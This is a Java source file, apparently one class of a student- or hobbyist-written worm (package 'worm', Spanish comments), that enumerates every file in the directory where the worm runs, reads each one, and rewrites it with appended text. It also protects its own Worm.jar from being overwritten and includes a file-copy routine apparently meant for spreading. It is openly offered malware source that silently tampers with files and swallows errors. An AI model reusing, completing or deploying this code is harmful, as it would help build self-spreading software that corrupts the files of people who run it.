/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package worm;

import java.io.*;
import java.nio.channels.FileChannel;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author hdbreaker
 */
public class Archivo {
    //Variables Privadas de la Clase Archivo
    private String nombreArchivo;
    private String texto;
    private String aux;
    private String[] Ficheros;
    //Constructor Vacio de la Clase Archivo
    public Archivo(){};
    //Constructor SobreCargado de la Clase Archivo
    public Archivo(String nombreArchivo, String texto) {
        this.nombreArchivo = nombreArchivo;
        this.texto = texto;
        
    }
    
             
    
    //Funcion que Escribe dentro de los Archivos, el Valor Obtenido por LeerArchivo y un Nuevo Texto
    public void CrearArchivo() {
    
        try {
             File Archivo = new File(nombreArchivo);
             FileWriter fw = new FileWriter(Archivo);
             BufferedWriter bw = new BufferedWriter(fw);
             PrintWriter pw = new PrintWriter(bw);
             pw.write(aux+texto+"\n");
             pw.close();
             bw.close();
             fw.close();
             
             
            
            
        } catch (Exception e) {
        }
        
        
        
    
    }
    //Funcion que Lee el contenido de los Archivos y los Guarda en una Variable
    public void LeerArchivo(){
        try {
            
            
            File Archivo = new File(nombreArchivo);
            FileReader fr = new FileReader(Archivo);
            BufferedReader br = new BufferedReader(fr);
            String test="";
            while((aux = br.readLine()) != null){
                    
                    test+=aux+"\n";
                
            }
            aux = test;
            br.close();
            fr.close();
           
            CrearArchivo();
            
            
            
            
        } catch (IOException ex) {
        }
    
        
        
    }
    //Obtiene la Lista de Archivos y Directorios de la Carpeta donde se Ejecute el Worm
    public String[] ObtenerArchivos(String Directorio){
        
        
        File f = new File(Directorio);
        if(f.exists()){
            File[] ficheros = f.listFiles();
            Ficheros= new String[ficheros.length];
            for (int i = 0; i < ficheros.length; i++) {
                //Si en el directorio existe Worm.jar crea un archivo falso para evitar la sobre escritura del Worm
                if(ficheros[i].getName().toString().equals("Worm.jar")){
                Ficheros[i] = "configWormJar.txt";
                
                }else{
                Ficheros[i] = ficheros[i].getName();
                }
                }
        }
        
        return Ficheros;
        
    }
    
    
    //Borra un Fichero de Configuracion creado con el fin de evitar la sobre escritura del Worm
    public void Borrar(String Directorio){
    
        File fichero = new File(Directorio+"/configWormJar.txt");
        fichero.delete();
    }
    
    public void copyFile(File s, File t)
    {
        try{
              FileChannel in = (new FileInputStream(s)).getChannel();
              FileChannel out = (new FileOutputStream(t)).getChannel();
              in.transferTo(0, s.length(), out);
              in.close();
              out.close();
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
    }
    
    
    
    
    
    
    
    
    
    //Getter & Setter
    public String getNombreArchivo() {
        return nombreArchivo;
    }

    
    public void setNombreArchivo(String nombreArchivo) {
        this.nombreArchivo = nombreArchivo;
    }

    public String getTexto() {
        return texto;
    }

    public void setTexto(String texto) {
        this.texto = texto;
    }
    
    
    
    
    
    
}
